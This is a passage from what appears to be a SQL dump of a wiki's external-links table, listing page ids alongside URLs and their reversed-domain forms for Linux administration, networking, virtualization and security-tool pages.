izy.org/wiki/ZFS_on_FUSE','http://org.wizy.www./wiki/ZFS_on_FUSE'),(88,'http://www.wizy.org/mercurial/','http://org.wizy.www./mercurial/'),(88,'http://devhen.wordpress.com/2006/06/08/howto-install-sshfs-on-centos-linux/','http://com.wordpress.devhen./2006/06/08/howto-install-sshfs-on-centos-linux/'),(39,'http://lists4.suse.de/opensuse/2005-07/msg00937.html','http://de.suse.lists4./opensuse/2005-07/msg00937.html'),(89,'http://ubuntuforums.org/showthread.php?t=662784','http://org.ubuntuforums./showthread.php?t=662784'),(90,'http://cisco.com/en/US/solutions/ns170/sml_index.html','http://com.cisco./en/US/solutions/ns170/sml_index.html'),(90,'http://www.afcea.org/signal/default/','http://org.afcea.www./signal/default/'),(87,'http://66.111.32.81/5meg.file.txt','http://81.32.111.66./5meg.file.txt'),(87,'http://66.111.32.81/10meg.file.txt','http://81.32.111.66./10meg.file.txt'),(87,'http://66.111.32.81/50meg.file.txt','http://81.32.111.66./50meg.file.txt'),(88,'https://rpmrepo.org/RPMforge/Using','https://org.rpmrepo./RPMforge/Using'),(88,'http://wiki.centos.org/Repositories/RPMForge#head-b2e1db5c8b5c90cbd2e854ee070ba1e0da8824dd','http://org.centos.wiki./Repositories/RPMForge#head-b2e1db5c8b5c90cbd2e854ee070ba1e0da8824dd'),(88,'http://www.linux-archive.org/centos/68554-wherefore-fuse.html','http://org.linux-archive.www./centos/68554-wherefore-fuse.html'),(91,'http://www.linuxjournal.com/article/8904','http://com.linuxjournal.www./article/8904'),(91,'http://ubuntu.wordpress.com/2005/10/28/how-to-mount-a-remote-ssh-filesystem-using-sshfs/','http://com.wordpress.ubuntu./2005/10/28/how-to-mount-a-remote-ssh-filesystem-using-sshfs/'),(90,'http://www.netscout.com/products/infinistream.asp','http://com.netscout.www./products/infinistream.asp'),(90,'http://www.wildpackets.com/','http://com.wildpackets.www./'),(90,'http://www.nessus.org/nessus/','http://org.nessus.www./nessus/'),(39,'http://www.suse.com/~ug/','http://com.suse.www./~ug/'),(39,'http://www.suse.com/~ug/autoyast_doc/index.html','http://com.suse.www./~ug/autoyast_doc/index.html'),(39,'http://www.suse.com/~ug/AutoYaST_FAQ.html','http://com.suse.www./~ug/AutoYaST_FAQ.html'),(39,'http://myserver/myconfig.xml','http://myserver./myconfig.xml'),(86,'https://rpmrepo.org/RPMforge/Using','https://org.rpmrepo./RPMforge/Using'),(86,'http://wiki.centos.org/Repositories/RPMForge#head-b2e1db5c8b5c90cbd2e854ee070ba1e0da8824dd','http://org.centos.wiki./Repositories/RPMForge#head-b2e1db5c8b5c90cbd2e854ee070ba1e0da8824dd'),(92,'http://www.cygwin.com/','http://com.cygwin.www./'),(92,'http://pigtail.net/LRP/printsrv/cygwin-sshd.html','http://net.pigtail./LRP/printsrv/cygwin-sshd.html'),(92,'http://pigtail.net/LRP/printsrv/openssh.README.txt','http://net.pigtail./LRP/printsrv/openssh.README.txt'),(92,'http://apache.active-venture.com/cygwin.html#run','http://com.active-venture.apache./cygwin.html#run'),(93,'http://www.linuxforums.org/forum/redhat-fedora-linux-help/37164-corrupt-rpm-database.html','http://org.linuxforums.www./forum/redhat-fedora-linux-help/37164-corrupt-rpm-database.html'),(93,'http://www.rfxnetworks.com/les.php','http://com.rfxnetworks.www./les.php'),(94,'http://meta.wikimedia.org/wiki/MediaWiki_User\'s_Guide:_Editing_overview','http://org.wikimedia.meta./wiki/MediaWiki_User\'s_Guide:_Editing_overview'),(94,'http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style','http://org.wikipedia.en./wiki/Wikipedia:Manual_of_Style'),(95,'http://www.ncsa.uiuc.edu/UserInfo/Resources/Software/ssh/openssh_3.8.html','http://edu.uiuc.ncsa.www./UserInfo/Resources/Software/ssh/openssh_3.8.html'),(96,'http://www.yolinux.com/TUTORIALS/LinuxTutorialQuotas.html','http://com.yolinux.www./TUTORIALS/LinuxTutorialQuotas.html'),(96,'http://souptonuts.sourceforge.net/quota_tutorial.html','http://net.sourceforge.souptonuts./quota_tutorial.html'),(96,'http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-storage-quotas.html','http://com.redhat.www./docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-storage-quotas.html'),(96,'http://www.mail-archive.com/freevsd-support@freevsd.org/msg00315.html','http://com.mail-archive.www./freevsd-support@freevsd.org/msg00315.html'),(96,'http://www.cpan.org/authors/id/M/MZ/MZRAHMAN/quotadm-0.0.2e','http://org.cpan.www./authors/id/M/MZ/MZRAHMAN/quotadm-0.0.2e'),(96,'http://www.goitexpert.com/entry.cfm?entry=Configure-Quotas-in-Linux-DebinaUBUNTU','http://com.goitexpert.www./entry.cfm?entry=Configure-Quotas-in-Linux-DebinaUBUNTU'),(96,'http://linux.die.net/man/8/warnquota','http://net.die.linux./man/8/warnquota'),(97,'http://frenzy.org.ua/eng/','http://ua.org.frenzy./eng/'),(97,'http://news.softpedia.com/news/Frenzy-Live-CD-24225.shtml','http://com.softpedia.news./news/Frenzy-Live-CD-24225.shtml'),(97,'http://www.freebsddiary.org/tightvnc.php','http://org.freebsddiary.www./tightvnc.php'),(98,'http://wiki.kartbuilding.net/index.php/Iptables_Firewall#Control_of_Iptables_.28inactive_is_a_blank_file_with_no_rules.29','http://net.kartbuilding.wiki./index.php/Iptables_Firewall#Control_of_Iptables_.28inactive_is_a_blank_file_with_no_rules.29'),(99,'http://www.jwz.org/webcollage/','http://org.jwz.www./webcollage/'),(99,'http://linux.die.net/man/6/webcollage','http://net.die.linux./man/6/webcollage'),(99,'http://wcollage.sourceforge.net/','http://net.sourceforge.wcollage./'),(101,'http://ettercap.sourceforge.net/forum/viewtopic.php?t=2601&sid=d2a2f8fc10b949dbb0eea441202e79ed','http://net.sourceforge.ettercap./forum/viewtopic.php?t=2601&sid=d2a2f8fc10b949dbb0eea441202e79ed'),(101,'http://www-nrg.ee.lbl.gov/','http://gov.lbl.ee.www-nrg./'),(101,'ftp://ftp.ee.lbl.gov/arpwatch.tar.gz','ftp://gov.lbl.ee.ftp./arpwatch.tar.gz'),(101,'http://ettercap.sourceforge.net/forum/','http://net.sourceforge.ettercap./forum/'),(101,'http://www.propeller.com/viewstory/2007/02/17/penetration-testing-with-arp-spoofing-and-ettercap-and-how-to-fight-it/?url=http:%2F%2Fwww.roboguys.com%2Findex.php%3Foption=com_content&task=view&id=57&Itemid=47&frame=true','http://com.propeller.www./viewstory/2007/02/17/penetration-testing-with-arp-spoofing-and-ettercap-and-how-to-fight-it/?url=http:%2F%2Fwww.roboguys.com%2Findex.php%3Foption=com_content&task=view&id=57&Itemid=47&frame=true'),(101,'http://www.securitypronews.com/securitypronews-24-20030623EtterCapARPSpoofingandBeyond.html','http://com.securitypronews.www./securitypronews-24-20030623EtterCapARPSpoofingandBeyond.html'),(102,'http://webtools.live2support.com/linux/sort.php','http://com.live2support.webtools./linux/sort.php'),(104,'http://rhcelinuxguide.wordpress.com/2006/06/23/linux-install-options-in-fedora/','http://com.wordpress.rhcelinuxguide./2006/06/23/linux-install-options-in-fedora/'),(104,'http://en.opensuse.org/Mirrors_Released_Version#America','http://org.opensuse.en./Mirrors_Released_Version#America'),(104,'http://en.opensuse.org/SDB:Remote_Installation_of_SUSE_LINUX','http://org.opensuse.en./SDB:Remote_Installation_of_SUSE_LINUX'),(104,'http://www.instalinux.com/cgi-bin/coe_bootimage.cgi','http://com.instalinux.www./cgi-bin/coe_bootimage.cgi'),(104,'http://www.centos.org/docs/5/html/Installation_Guide-en-US/ch-steps-s390.html','http://org.centos.www./docs/5/html/Installation_Guide-en-US/ch-steps-s390.html'),(104,'http://63.246.145.130:5801/','http://130.145.246.63.:5801/'),(104,'http://www.novell.com/coolsolutions/feature/15568.html','http://com.novell.www./coolsolutions/feature/15568.html'),(90,'http://nist.gov/','http://gov.nist./'),(90,'http://events.jspargo.com/LWN08/public/enter.aspx','http://com.jspargo.events./LWN08/public/enter.aspx'),(90,'http://www.blackhat.com/presentations/bh-usa-02/bh-us-02-convery-switches.pdf','http://com.blackhat.www./presentations/bh-usa-02/bh-us-02-convery-switches.pdf'),(90,'http://www.networkpenetration.com/gobbler.html','http://com.networkpenetration.www./gobbler.html'),(90,'http://ettercap.sourceforge.net/','http://net.sourceforge.ettercap./'),(90,'http://www.irongeek.com/i.php?page=security/ettercapfilter','http://com.irongeek.www./i.php?page=security/ettercapfilter'),(90,'http://en.wikipedia.org/wiki/Port_mirroring','http://org.wikipedia.en./wiki/Port_mirroring'),(90,'http://www.amazon.com/LAN-Switch-Security-Networking-Technology/dp/1587052563','http://com.amazon.www./LAN-Switch-Security-Networking-Technology/dp/1587052563'),(90,'http://www.ciscopress.com/bookstore/product.asp?isbn=1587054671','http://com.ciscopress.www./bookstore/product.asp?isbn=1587054671'),(90,'http://www.yersinia.net/','http://net.yersinia.www./'),(105,'http://ww.ubuntuforums.org/showthread.php?t=625435','http://org.ubuntuforums.ww./showthread.php?t=625435'),(105,'http://wiki.cchtml.com/index.php/Ubuntu_Hardy_Installation_Guide','http://com.cchtml.wiki./index.php/Ubuntu_Hardy_Installation_Guide'),(90,'http://www.amazon.com/Internetworking-TCP-IP-Vol-5th/dp/0131876716/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1213050244&sr=8-1','http://com.amazon.www./Internetworking-TCP-IP-Vol-5th/dp/0131876716/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1213050244&sr=8-1'),(106,'http://www.linuxjournal.com/article/9565','http://com.linuxjournal.www./article/9565'),(106,'http://www.zeroflux.org/cgi-bin/cvstrac.cgi/knock/wiki','http://org.zeroflux.www./cgi-bin/cvstrac.cgi/knock/wiki'),(106,'http://beginlinux.com/index.php/sec_train_m/port_knock','http://com.beginlinux./index.php/sec_train_m/port_knock'),(106,'http://www.la-samhna.de/library/brutessh.html','http://de.la-samhna.www./library/brutessh.html'),(107,'http://www.fail2ban.org/wiki/index.php/Main_Page','http://org.fail2ban.www./wiki/index.php/Main_Page'),(107,'http://www.la-samhna.de/library/brutessh.html','http://de.la-samhna.www./library/brutessh.html'),(107,'http://www.splunk.com/','http://com.splunk.www./'),(85,'http://syslinux.zytor.com/wiki/index.php/SYSLINUX#What_is_the_DISPLAY_File_Format.3F','http://com.zytor.syslinux./wiki/index.php/SYSLINUX#What_is_the_DISPLAY_File_Format.3F'),(85,'http://syslinux.zytor.com/faq.php','http://com.zytor.syslinux./faq.php'),(85,'http://docs.hp.com/en/B9106-90012/ascii.5.html','http://com.hp.docs./en/B9106-90012/ascii.5.html'),(85,'http://www.selectorweb.com/vi.html','http://com.selectorweb.www./vi.html'),(108,'http://www.linux-mag.com/downloads/2003-09/power/escape_sequences.html','http://com.linux-mag.www./downloads/2003-09/power/escape_sequences.html'),(85,'http://www.sweb.cz/Frantisek.Rysanek/splash/isolinux-splash-HOWTO.html','http://cz.sweb.www./Frantisek.Rysanek/splash/isolinux-splash-HOWTO.html'),(109,'http://www.tenablesecurity.com/nessus/','http://com.tenablesecurity.www./nessus/'),(109,'http://list.nessus.org/pipermail/nessus/2003-December/007862.html','http://org.nessus.list./pipermail/nessus/2003-December/007862.html'),(109,'http://www.timelordz.com/wiki/index.php/Main_Page','http://com.timelordz.www./wiki/index.php/Main_Page'),(109,'http://ubuntuforums.org/showthread.php?t=216935','http://org.ubuntuforums./showthread.php?t=216935'),(109,'http://www.securityfocus.com/infocus/1741','http://com.securityfocus.www./infocus/1741'),(110,'http://en.wikipedia.org/wiki/Ultima_IV:_Quest_of_the_Avatar','http://org.wikipedia.en./wiki/Ultima_IV:_Quest_of_the_Avatar'),(110,'http://xu4.sourceforge.net/','http://net.sourceforge.xu4./'),(110,'http://nwvault.ign.com/View.php?view=Modules.Detail&id=293','http://com.ign.nwvault./View.php?view=Modules.Detail&id=293'),(110,'http://www.ultimaaiera.com/','http://com.ultimaaiera.www./'),(110,'http://members.aol.com/trigonman3/u4.html','http://com.aol.members./trigonman3/u4.html'),(110,'http://www.dengler.net/xedragon/hrump/','http://net.dengler.www./xedragon/hrump/'),(110,'http://xu4.sourceforge.net/links.html','http://net.sourceforge.xu4./links.html'),(111,'http://www.vmware.com/beta/server/download.html','http://com.vmware.www./beta/server/download.html'),(111,'http://download3.vmware.com/software/vmserver/VMware-server-e.x.p-84186.i386.rpm','http://com.vmware.download3./software/vmserver/VMware-server-e.x.p-84186.i386.rpm'),(111,'http://download3.vmware.com/software/vmserver/VMware-vix-e.x.p-84186.i386.tar.gz','http://com.vmware.download3./software/vmserver/VMware-vix-e.x.p-84186.i386.tar.gz'),(111,'http://www.vmware.com/products/beta/vmware_server/vmserver2.pdf','http://com.vmware.www./products/beta/vmware_server/vmserver2.pdf'),(112,'http://www.ibm.com/developerworks/linux/library/l-graf/','http://com.ibm.www./developerworks/linux/library/l-graf/'),(113,'http://en.wikipedia.org/wiki/Standard_streams','http://org.wikipedia.en./wiki/Standard_streams'),(113,'http://en.wikipedia.org/wiki/Redirection_(Unix)','http://org.wikipedia.en./wiki/Redirection_(Unix)'),(114,'http://www.amazon.com/Computer-Systems-Programmers-Randal-Bryant/dp/013034074X','http://com.amazon.www./Computer-Systems-Programmers-Randal-Bryant/dp/013034074X'),(115,'http://www.cisco.com/en/US/docs/security/pix/pix63/configuration/guide/config.html','http://com.cisco.www./en/US/docs/security/pix/pix63/configuration/guide/config.html'),(115,'http://www.cisco.com/en/US/docs/security/pix/pix63/configuration/guide/fixup.html#wpxref40240','http://com.cisco.www./en/US/docs/security/pix/pix63/configuration/guide/fixup.html#wpxref40240'),(115,'http://www.dslreports.com/faq/14241','http://com.dslreports.www./faq/14241'),(115,'http://www.broadbandreports.com/faq/cisco/40.2_Security_Sample_Configurations','http://com.broadbandreports.www./faq/cisco/40.2_Security_Sample_Configurations'),(114,'http://www.amazon.com/Network-Warrior-Gary-Donahue/dp/0596101511/ref=pd_sim_b_4','http://com.amazon.www./Network-Warrior-Gary-Donahue/dp/0596101511/ref=pd_sim_b_4'),(114,'http://www.amazon.com/Cisco-ASA-PIX-Firewall-Handbook/dp/1587051583/ref=pd_sim_b_2','http://com.amazon.www./Cisco-ASA-PIX-Firewall-Handbook/dp/1587051583/ref=pd_sim_b_2'),(114,'http://www.amazon.com/LAN-Switch-Security-Networking-Technology/dp/1587052563','http://com.amazon.www./LAN-Switch-Security-Networking-Technology/dp/1587052563'),(116,'http://www.chaossoftware.com/products.asp','http://com.chaossoftware.www./products.asp'),(116,'http://www.sugarcrm.com/docs/User_Guides/OpenSource_UserGuide_4.5.1b/ImportExport.6.2.html','http://com.sugarcrm.www./docs/User_Guides/OpenSource_UserGuide_4.5.1b/ImportExport.6.2.html'),(116,'http://www.sugarcrm.com/forums/showthread.php?t=34350','http://com.sugarcrm.www./forums/showthread.php?t=34350'),(47,'http://209.85.215.104/search?q=cache:GhFucAEDyCcJ:www.sugarforge.org/frs/download.php/52/SugarCRM_Overview_of_Logging.rtf+sugarcrm+overview+of+logging&hl=en&ct=clnk&cd=1&gl=us&client=firefox-a','http://104.215.85.209./search?q=cache:GhFucAEDyCcJ:www.sugarforge.org/frs/download.php/52/SugarCRM_Overview_of_Logging.rtf+sugarcrm+overview+of+logging&hl=en&ct=clnk&cd=1&gl=us&client=firefox-a'),(47,'http://www.sugarcrm.com/docs/User_Guides/OpenSource_UserGuide_4.5.1b/ImportExport.6.2.html','http://com.sugarcrm.www./docs/User_Guides/OpenSource_UserGuide_4.5.1b/ImportExport.6.2.html'),(47,'http://www.sugarcrm.com/forums/showthread.php?t=34350','http://com.sugarcrm.www./forums/showthread.php?t=34350'),(47,'http://www.sugarcrm.com/forums/showthread.php?t=30773&highlight=not+imported','http://com.sugarcrm.www./forums/showthread.php?t=30773&highlight=not+imported'),(47,'http://www.creativyst.com/Doc/Articles/CSV/CSV01.htm#EmbedBRs','http://com.creativyst.www./Doc/Articles/CSV/CSV01.htm#EmbedBRs'),(47,'http://www.sugarcrm.com/forums/showthread.php?t=13146','http://com.sugarcrm.www./forums/showthread.php?t=13146'),(47,'http://www.sugarcrm.com/forums/showthread.php?t=13146&page=1&pp=10','http://com.sugarcrm.www./forums/showthread.php?t=13146&page=1&pp=10'),(47,'http://docs.hp.com/en/B9106-90012/ascii.5.html','http://com.hp.docs./en/B9106-90012/ascii.5.html'),(117,'http://www.idms-linux.org/tiki-index.php?highlight=kernel&page=Preboot+&+Early-Userspace','http://org.idms-linux.www./tiki-index.php?highlight=kernel&page=Preboot+&+Early-Userspace'),(117,'http://www.evolware.org/chri/hopeless.html','http://org.evolware.www./chri/hopeless.html'),(117,'http://gentoo-wiki.com/HOWTO_Initramfs','http://com.gentoo-wiki./HOWTO_Initramfs'),(117,'http://www.linuxdevices.com/articles/AT4017834659.html','http://com.linuxdevices.www./articles/AT4017834659.html'),(117,'http://en.wikipedia.org/wiki/Initrd','http://org.wikipedia.en./wiki/Initrd'),(47,'http://www.xaprb.com/blog/2006/04/14/bad-character-data-in-mysql/','http://com.xaprb.www./blog/2006/04/14/bad-character-data-in-mysql/'),(47,'http://www.douglaskarr.com/2007/05/14/mysql-search-replace/','http://com.douglaskarr.www./2007/05/14/mysql-search-replace/'),(47,'http://en.wikipedia.org/wiki/ASCII','http://org.wikipedia.en./wiki/ASCII'),(47,'http://bytes.com/forum/thread450258.html','http://com.bytes./forum/thread450258.html'),(118,'http://www.chiark.greenend.org.uk/~sgtatham/putty/','http://uk.org.greenend.chiark.www./~sgtatham/putty/'),(47,'http://www.bigresource.com/MYSQL-How-do-you-copy-one-field-to-another--wrpATC5d.html','http://com.bigresource.www./MYSQL-How-do-you-copy-one-field-to-another--wrpATC5d.html'),(47,'http://www.bigresource.com/Tracker/search.php','http://com.bigresource.www./Tracker/search.php'),(47,'http://bugs.mysql.com/bug.php?id=36517','http://com.mysql.bugs./bug.php?id=36517'),(119,'http://www.freelikegnu.org/?p=13','http://org.freelikegnu.www./?p=13'),(119,'http://wiki.laptop.org/go/Installing_Ubuntu_using_Compressed_Files','http://org.laptop.wiki./go/Installing_Ubuntu_using_Compressed_Files'),(119,'http://icrontic.com/articles/ubuntu_net_remix_olpcxo','http://com.icrontic./articles/ubuntu_net_remix_olpcxo'),(119,'http://wiki.laptop.org/go/Activation_and_Developer_Keys','http://org.laptop.wiki./go/Activation_and_Developer_Keys'),(119,'http://wiki.laptop.org/go/Autoreinstallation_image','http://org.laptop.wiki./go/Autoreinstallation_image'),(119,'http://wiki.laptop.org/go/Olpc-update#Ubuntu.2FEdubuntu','http://org.laptop.wiki./go/Olpc-update#Ubuntu.2FEdubuntu'),(119,'http://wiki.laptop.org/go/Edubuntu','http://org.laptop.wiki./go/Edubuntu'),(119,'http://wiki.laptop.org/go/Firmware','http://org.laptop.wiki./go/Firmware'),(119,'http://wiki.laptop.org/go/Upgrading_the_firmware','http://org.laptop.wiki./go/Upgrading_the_firmware'),(120,'http://www.tux.org/pub/people/kent-robotti/looplinux/rip/','http://org.tux.www./pub/people/kent-robotti/looplinux/rip/'),(120,'http://www.tux.org/pub/people/kent-robotti/looplinux/rip/docs/RIPLinuX.txt','http://org.tux.www./pub/people/kent-robotti/looplinux/rip/docs/RIPLinuX.txt'),(121,'http://bgoglin.livejournal.com/13317.html','http://com.livejournal.bgoglin./13317.html'),(121,'http://www.opengear.com/SP-IPMI_SOL.html','http://com.opengear.www./SP-IPMI_SOL.html'),(121,'http://sourceforge.net/projects/openipmi/','http://net.sourceforge./projects/openipmi/'),(121,'http://openipmi.sourceforge.net/','http://net.sourceforge.openipmi./'),(121,'http://linux.die.net/man/1/openipmigui','http://net.die.linux./man/1/openipmigui'),(48,'http://www.amazon.com/Understanding-Business-William-G-Nickels/dp/007310597X/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1216333012&sr=1-1','http://com.amazon.www./Understanding-Business-William-G-Nickels/dp/007310597X/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1216333012&sr=1-1'),(122,'http://www2.northampton.edu/kmanna/Cisco_Student_Web/SG/How-to-Subnet%2010.pdf','http://edu.northampton.www2./kmanna/Cisco_Student_Web/SG/How-to-Subnet%2010.pdf'),(122,'http://72.14.205.104/search?q=cache:la2W7iCTJpcJ:www2.northampton.edu/kmanna/Cisco_Student_Web/SG/How-to-Subnet%2010.pdf+how+to+subnet&hl=en&ct=clnk&cd=5&gl=us','http://104.205.14.72./search?q=cache:la2W7iCTJpcJ:www2.northampton.edu/kmanna/Cisco_Student_Web/SG/How-to-Subnet%2010.pdf+how+to+subnet&hl=en&ct=clnk&cd=5&gl=us'),(122,'http://www.punkwalrus.com/howto/subnetting.html','http://com.punkwalrus.www./howto/subnetting.html'),(122,'http://www.learntosubnet.com/','http://com.learntosubnet.www./'),(123,'http://tf-b4rt.berlios.de/','http://de.berlios.tf-b4rt./'),(123,'http://svn.berlios.de/wsvn/tf-b4rt/trunk/INSTALL','http://de.berlios.svn./wsvn/tf-b4rt/trunk/INSTALL'),(123,'http://tf-b4rt.berlios.de/forum/index.php/topic,172.0.html','http://de.berlios.tf-b4rt./forum/index.php/topic,172.0.html'),(123,'http://download.berlios.de/tf-b4rt/torrentflux-b4rt_1.0-beta2.tar.bz2','http://de.berlios.download./tf-b4rt/torrentflux-b4rt_1.0-beta2.tar.bz2'),(119,'http://sprocket.io/blog/2008/05/ubuntu-hardy-heron-on-the-olpc-xo-1/','http://io.sprocket./blog/2008/05/ubuntu-hardy-heron-on-the-olpc-xo-1/'),(47,'http://www.sitepoint.com/forums/showthread.php?t=446464','http://com.sitepoint.www./forums/showthread.php?t=446464'),(122,'http://www.kehlet.cx/articles/79.html','http://cx.kehlet.www./articles/79.html'),(124,'http://www.apachesecurity.net/tools/','http://net.apachesecurity.www./tools/'),(124,'http://sourceforge.net/projects/modbaduser/','http://net.sourceforge./projects/modbaduser/'),(121,'http://linux.dell.com/files/presentations/Red_Hat_Summit_May_2006/ipmi_presentation-redhat_summit.pdf','http://com.dell.linux./files/presentations/Red_Hat_Summit_May_2006/ipmi_presentation-redhat_summit.pdf'),(121,'http://lonesysadmin.net/2007/06/21/how-to-configure-ipmi-on-a-dell-poweredge-running-red-hat-enterprise-linux/','http://net.lonesysadmin./2007/06/21/how-to-configure-ipmi-on-a-dell-poweredge-running-red-hat-enterprise-linux/'),(121,'http://ftp.us.dell.com/sysman/openipmi-39.0.1.RHEL5-1dkms-A00.tar.gz','http://com.dell.us.ftp./sysman/openipmi-39.0.1.RHEL5-1dkms-A00.tar.gz'),(121,'http://www.dell.com/downloads/global/power/ps4q04-20040204-Murphy.pdf','http://com.dell.www./downloads/global/power/ps4q04-20040204-Murphy.pdf'),(121,'http://linux.dell.com/files/openipmi/','http://com.dell.linux./files/openipmi/'),(119,'http://grumbel.blogspot.com/2008/02/olpc-making-fuse-work.html','http://com.blogspot.grumbel./2008/02/olpc-making-fuse-work.html'),(125,'http://www.tlsi.net/','http://net.tlsi.www./'),(119,'http://xolaptophelp.com/index.php?topic=2389.0','http://com.xolaptophelp./index.php?topic=2389.0'),(126,'http://linux.dell.com/repo/hardware/bootstrap.cgi','http://com.dell.linux./repo/hardware/bootstrap.cgi'),(126,'http://linux.dell.com/wiki/index.php/Repository/FAQ','http://com.dell.linux./wiki/index.php/Repository/FAQ'),(126,'http://linux.dell.com/repo/hardware/','http://com.dell.linux./repo/hardware/'),(126,'http://linux.dell.com/repo/software/','http://com.dell.linux./repo/software/'),(126,'http://linux.dell.com/monitoring.shtml','http://com.dell.linux./monitoring.shtml'),(126,'http://www.dell.com/content/topics/global.aspx/sitelets/solutions/management/server_monitor?c=us&cs=555&l=en&s=biz#dellitassist','http://com.dell.www./content/topics/global.aspx/sitelets/solutions/management/server_monitor?c=us&cs=555&l=en&s=biz#dellitassist'),(127,'http://sudan.ubuntuforums.com/showthread.php?t=271674','http://com.ubuntuforums.sudan./showthread.php?t=271674'),(128,'http://www.vmware.com/products/server/','http://com.vmware.www./products/server/'),(128,'http://www.vmware.com/appliances/','http://com.vmware.www./appliances/'),(128,'http://binarykarma.com/index.php','http://com.binarykarma./index.php'),(128,'http://pve.proxmox.com/wiki/Main_Page','http://com.proxmox.pve./wiki/Main_Page'),(128,'http://wiki.openvz.org/Main_Page','http://org.openvz.wiki./Main_Page'),(128,'http://easyvz.org/','http://org.easyvz./'),(128,'http://pve.proxmox.com/wiki/Installation','http://com.proxmox.pve./wiki/Installation'),(129,'http://www.gnu.org/software/parted/manual/html_mono/parted.html','http://org.gnu.www./software/parted/manual/html_mono/parted.html'),(129,'http://serverlinux.blogspot.com/2008/01/resizing-partition-in-linux-with-parted.html','http://com.blogspot.serverlinux./2008/01/resizing-partition-in-linux-with-parted.html'),(100,'http://www.rpm.org/max-rpm/s1-rpm-install-additional-options.html','http://org.rpm.www./max-rpm/s1-rpm-install-additional-options.html'),(130,'http://www.infiscale.com/index.html','http://com.infiscale.www./index.html'),(130,'http://www.caoslinux.org/index.html','http://org.caoslinux.www./index.html'),(130,'http://www.perceus.org/portal/','http://org.perceus.www./portal/'),(130,'http://en.wikipedia.org/wiki/CAos_Linux','http://org.wikipedia.en./wiki/CAos_Linux'),(130,'http://smac.jql.usu.edu/cts/index.php?page=linux-cluster','http://edu.usu.jql.smac./cts/index.php?page=linux-cluster'),(130,'http://www.perceus.org/portal/node/77','http://org.perceus.www./portal/node/77'),(130,'http://www.perceus.org/portal/node/7','http://org.perceus.www./portal/node/7'),(131,'http://binarykarma.com/download.php','http://com.binarykarma./download.php'),(131,'http://binarykarma.com/download_items/BK_vkarma_backend-1.0.tar.bz2','http://com.binarykarma./download_items/BK_vkarma_backend-1.0.tar.bz2'),(131,'http://64.16.194.51:8086','http://51.194.16.64.:8086/'),(111,'http://communities.vmware.com/thread/154797?tstart=0&start=15','http://com.vmware.communities./thread/154797?tstart=0&start=15'),(111,'http://communities.vmware.com/servlet/JiveServlet/download/991133-11271/gtk_message_dialog_set_image-stub.so','http://com.vmware.communities./servlet/JiveServlet/download/991133-11271/gtk_message_dialog_set_image-stub.so'),(111,'http://www.oxymoronical.com/web/firefox/nightly','http://com.oxymoronical.www./web/firefox/nightly'),(111,'http://communities.vmware.com/thread/157942?tstart=0','http://com.vmware.communities./thread/157942?tstart=0'),(132,'http://blogs.sun.com/ahl/date/20071027','http://com.sun.blogs./ahl/date/20071027'),(132,'http://softwareblogs.intel.com/2007/05/15/why-linux-people-lust-after-dtrace/','http://com.intel.softwareblogs./2007/05/15/why-linux-people-lust-after-dtrace/'),(132,'http://www.sun.com/bigadmin/content/dtrace/','http://com.sun.www./bigadmin/content/dtrace/'),(132,'http://opensolaris.org/os/community/dtrace/','http://org.opensolaris./os/community/dtrace/'),(132,'http://en.wikipedia.org/wiki/DTrace','http://org.wikipedia.en./wiki/DTrace'),(132,'http://sourceware.org/systemtap/','http://org.sourceware./systemtap/'),(132,'http://www.redhat.com/magazine/011sep05/features/systemtap/#setup','http://com.redhat.www./magazine/011sep05/features/systemtap/#setup'),(132,'http://redmonk.com/sogrady/2006/04/07/linux-responds-to-dtrace-systemtap-on-tap/','http://com.redmonk./sogrady/2006/04/07/linux-responds-to-dtrace-systemtap-on-tap/'),(132,'http://opensolaris.org/os/community/brandz/','http://org.opensolaris./os/community/brandz/'),(132,'http://blogs.sun.com/ahl/entry/dtrace_for_linux','http://com.sun.blogs./ahl/entry/dtrace_for_linux'),(133,'http://download.swsoft.com/virtuozzo/virtuozzo4.0/docs/en/win/VzWindowsReference.pdf','http://com.swsoft.download./virtuozzo/virtuozzo4.0/docs/en/win/VzWindowsReference.pdf'),(133,'http://www.google.com/search?q=cache:2NotRcHU9NQJ:download.swsoft.com/virtuozzo/virtuozzo4.0/docs/en/win/VzWindowsReference.pdf+virtuozzo+root.efd+linux+mount&hl=en&ct=clnk&cd=4&gl=us&client=firefox-a','http://com.google.www./search?q=cache:2NotRcHU9NQJ:download.swsoft.com/virtuozzo/virtuozzo4.0/docs/en/win/VzWindowsReference.pdf+virtuozzo+root.efd+linux+mount&hl=en&ct=clnk&cd=4&gl=us&client=firefox-a'),(134,'http://kb.parallels.com/en/1008','http://com.parallels.kb./en/1008'),(135,'https://dell-ita.sagonet.com:2607','https://com.sagonet.dell-ita.:2607/'),(135,'https://65.110.52.150:2607','https://150.52.110.65.:2607/'),(135,'ftp://ftp.dell.com/sysman/OM_5.4.0_MgmtStat_A00.exe','ftp://com.dell.ftp./sysman/OM_5.4.0_MgmtStat_A00.exe'),(135,'http://support.dell.com/support/edocs/software/smitasst/','http://com.dell.support./support/edocs/software/smitasst/'),(48,'http://www.spcollege.edu/popcourse/CGS-2402','http://edu.spcollege.www./popcourse/CGS-2402'),(48,'http://www.spcollege.edu/program/COMPRG-AS','http://edu.spcollege.www./program/COMPRG-AS'),(48,'http://www.spcollege.edu/program/WEBDVS-CT','http://edu.spcollege.www./program/WEBDVS-CT'),(121,'ftp://ftp.supermicro.com/CDR-0010_2.03_for_IPMI_Server_Managment/Manuals/IPMIView20.pdf','ftp://com.supermicro.ftp./CDR-0010_2.03_for_IPMI_Server_Managment/Manuals/IPMIView20.pdf'),(136,'http://www.opensolaris.com/','http://com.opensolaris.www./'),(136,'http://opensolaris.org/os/','http://org.opensolaris./os/'),(136,'http://www.opensolaris.org/os/project/indiana/','http://org.opensolaris.www./os/project/indiana/'),(136,'http://www.sun.com/featured-articles/2007-0731/feature/index.jsp?intcmp=hp2007jul30_indiana_learn','http://com.sun.www./featured-articles/2007-0731/feature/index.jsp?intcmp=hp2007jul30_indiana_learn'),(136,'http://ianmurdock.com/2007/03/19/joining-sun/','http://com.ianmurdock./2007/03/19/joining-sun/'),(136,'http://blogs.zdnet.com/BTL/?p=8703','http://com.zdnet.blogs./BTL/?p=8703'),(136,'http://www.transitive.com/products/solsparc